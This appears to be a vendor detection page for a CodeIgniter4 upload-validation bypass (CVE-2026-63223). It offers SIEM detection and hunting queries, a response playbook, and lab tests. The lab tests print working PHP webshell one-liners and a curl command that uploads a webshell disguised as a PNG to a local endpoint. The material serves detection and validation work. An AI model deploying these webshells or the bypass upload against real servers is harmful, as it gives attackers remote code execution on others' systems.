CVE-2026-63223

CVE-2026-63223: CodeIgniter4 File Upload Extension Validation Bypass (is_image / mime_in)

Initial Access Execution Persistence Last updated:

Detects exploitation of CVE-2026-63223, a critical (CVSS 9.8, CWE-434) unrestricted file upload vulnerability in the CodeIgniter4 framework (codeigniter4/framework < 4.7.4). The `is_image` and `mime_in` validation rules trust the client-supplied MIME type and file extension rather than authoritatively inspecting file content, allowing an attacker to bypass upload restrictions by crafting a request whose declared Content-Type/extension passes validation while the underlying content is executable (e.g. a PHP webshell disguised as an image). Successful exploitation typically results in webshell deployment and remote code execution. This detection surfaces suspicious uploads reaching CodeIgniter upload endpoints followed by writes of executable script files into web-accessible directories and subsequent execution.

Vulnerability Intelligence

Public PoC

What is CVE-2026-63223 CVE-2026-63223: CodeIgniter4 File Upload Extension Validation Bypass (is_image / mime_in)?

CVE-2026-63223: CodeIgniter4 File Upload Extension Validation Bypass (is_image / mime_in) (CVE-2026-63223) maps to the Initial Access and Execution and Persistence tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for CVE-2026-63223: CodeIgniter4 File Upload Extension Validation Bypass (is_image / mime_in), covering the data sources and telemetry it touches: IIS Logs, Microsoft Defender for Endpoint. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence
Microsoft Sentinel / Defender
kusto
let webUploads = W3CIISLog
| where csMethod == "POST"
| where csUriStem has_any ("upload", "import", "avatar", "profile", "attachment", "file")
| where scStatus in (200, 201, 302)
| where isnotempty(csUserAgent)
| project TimeGenerated, sIP, cIP, csUriStem, csMethod, scStatus, csUserAgent, csBytes;
let suspiciousWrites = DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has_any ("\\public\\", "/public/", "/writable/uploads/", "\\writable\\uploads\\", "wwwroot", "/var/www/")
| where FileName endswith ".php" or FileName endswith ".phtml" or FileName endswith ".php5" or FileName endswith ".phar" or FileName endswith ".inc"
| project WriteTime = TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256;
webUploads
| join kind=inner (suspiciousWrites) on $left.sIP == $right.DeviceName
| where WriteTime between (TimeGenerated .. (TimeGenerated + 5m))
| project TimeGenerated, WriteTime, cIP, sIP, csUriStem, scStatus, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256, csUserAgent

Correlates POST requests to CodeIgniter upload-style endpoints with the creation of PHP/executable script files in web-accessible directories within a 5-minute window, indicating an is_image/mime_in validation bypass leading to webshell drop.

critical severity medium confidence

Data Sources

IIS Logs Microsoft Defender for Endpoint

Required Tables

W3CIISLog DeviceFileEvents

False Positives

  • Legitimate developers or CI/CD deploying PHP files into the CodeIgniter application directory during release windows.
  • Framework or plugin installers that legitimately write PHP files into writable/public paths.
  • Backup or migration tooling that restores PHP files into the web root.

Sigma rule & cross-platform mapping

The detection logic for CVE-2026-63223: CodeIgniter4 File Upload Extension Validation Bypass (is_image / mime_in) (CVE-2026-63223) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate is_image MIME bypass upload (Linux lab)

    Expected signal: Web access log POST to /upload with 200/302; file-create event for a .php/.png file in writable/uploads or public directory.

  2. Test 2Drop PHP file into public directory (Linux)

    Expected signal: FileCreated event for /var/www/html/public/upload_test.php by the web-server or shell user.

  3. Test 3Simulate double-extension upload artifact (Windows/IIS lab)

    Expected signal: Sysmon Event ID 11 (FileCreate) for avatar.php under the IIS writable uploads directory.


Response Playbook

Triage

  1. Identify the CodeIgniter application version on the affected host; confirm whether codeigniter4/framework is < 4.7.4 and thus vulnerable to CVE-2026-63223.
  2. Retrieve the raw upload request from web access logs and inspect the declared Content-Type and filename extension versus the actual written file content (magic bytes) to confirm an is_image/mime_in bypass.
  3. Examine the newly written file in the public/writable directory: check for PHP tags (<?php), eval/system/passthru calls, or webshell signatures.
  4. Correlate the source IP and User-Agent of the upload with other requests to determine reconnaissance or repeated bypass attempts.

Containment

  1. Immediately quarantine or delete the confirmed malicious uploaded file and revoke web access to the writable/public upload directory.
  2. Block the attacker source IP at the WAF/firewall and disable the affected upload endpoint until patched.
  3. Isolate the web host from the network if webshell execution (RCE) is confirmed.

Evidence Collection

  1. Preserve the full HTTP upload request/response, web access logs, and the malicious file (with hash) before deletion.
  2. Capture endpoint file-creation events, process-execution telemetry for the web server user, and any outbound connections initiated post-upload.

Escalation Criteria

  • ! Escalate to incident response if the dropped file was executed (evidence of RCE, spawned shells, or outbound C2).
  • ! Escalate if multiple hosts or additional CodeIgniter applications show the same upload-then-PHP-write pattern, indicating a campaign.

Investigation Guide

Forensic Artifacts

  • > Newly created PHP/phtml files in public/ or writable/uploads/ directories with recent timestamps and web-server ownership.
  • > Web access log entries showing POST to upload endpoints with mismatched Content-Type vs. actual content.
  • > Web server process spawning shell interpreters (sh, bash, cmd.exe) shortly after the upload.

Tuning Guidance

Baseline legitimate PHP writes to public/writable directories by correlating with known deployment windows, CI/CD service accounts, and package-manager processes; exclude those service accounts and maintenance windows. Focus alerting on writes initiated by the web-server process account or immediately following an external upload POST, and raise severity when the written file contains PHP execution constructs.


Hunting Queries

Hunt for PHP script files created in CodeIgniter web-accessible directories, which should rarely change outside of deployments.

Hunting — KQL
kql
DeviceFileEvents | where FolderPath has_any ("/writable/uploads/", "/public/", "wwwroot") | where FileName endswith ".php" or FileName endswith ".phtml" or FileName endswith ".phar" | project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessAccountName | order by TimeGenerated desc
Hunting — SPL
spl
index=edr (sourcetype=sysmon EventCode=11) OR sourcetype=linux:auditd (TargetFilename="*/writable/uploads/*" OR TargetFilename="*/public/*") (TargetFilename="*.php" OR TargetFilename="*.phtml") | stats count by host, TargetFilename, User

Atomic Red Team Tests

Test 1 Simulate is_image MIME bypass upload (Linux lab)
linux

Uploads a PHP webshell to a CodeIgniter upload endpoint while declaring an image MIME type to bypass is_image/mime_in validation.

Command

bash
printf '<?php echo shell_exec($_GET["c"]); ?>' > /tmp/shell.php && curl -s -X POST -F 'file=@/tmp/shell.php;type=image/png;filename=avatar.png' http://localhost:8080/upload

Cleanup

bash
rm -f /tmp/shell.php; rm -f /var/www/html/writable/uploads/avatar.png /var/www/html/public/avatar.php

Expected Telemetry

Web access log POST to /upload with 200/302; file-create event for a .php/.png file in writable/uploads or public directory.

Expected Detection

Detection fires on the correlation of the upload POST and the PHP file write in a web-accessible directory.

Test 2 Drop PHP file into public directory (Linux)
linux

Simulates the post-bypass artifact by writing a PHP webshell directly into the CodeIgniter public directory.

Command

bash
mkdir -p /var/www/html/public && printf '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/public/upload_test.php

Cleanup

bash
rm -f /var/www/html/public/upload_test.php

Expected Telemetry

FileCreated event for /var/www/html/public/upload_test.php by the web-server or shell user.

Expected Detection

Detection surfaces PHP file creation in a web-accessible directory matching the CVE-2026-63223 artifact pattern.

Test 3 Simulate double-extension upload artifact (Windows/IIS lab)
windows

Writes a PHP file with an image-like double extension into an IIS-hosted CodeIgniter writable uploads path.

Command

powershell
New-Item -Path 'C:\inetpub\wwwroot\writable\uploads' -ItemType Directory -Force; Set-Content -Path 'C:\inetpub\wwwroot\writable\uploads\avatar.php' -Value '<?php echo shell_exec($_GET["c"]); ?>'

Cleanup

powershell
Remove-Item -Path 'C:\inetpub\wwwroot\writable\uploads\avatar.php' -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11 (FileCreate) for avatar.php under the IIS writable uploads directory.

Expected Detection

Detection fires on PHP file creation in a web-accessible directory following the upload pattern.

Related Detections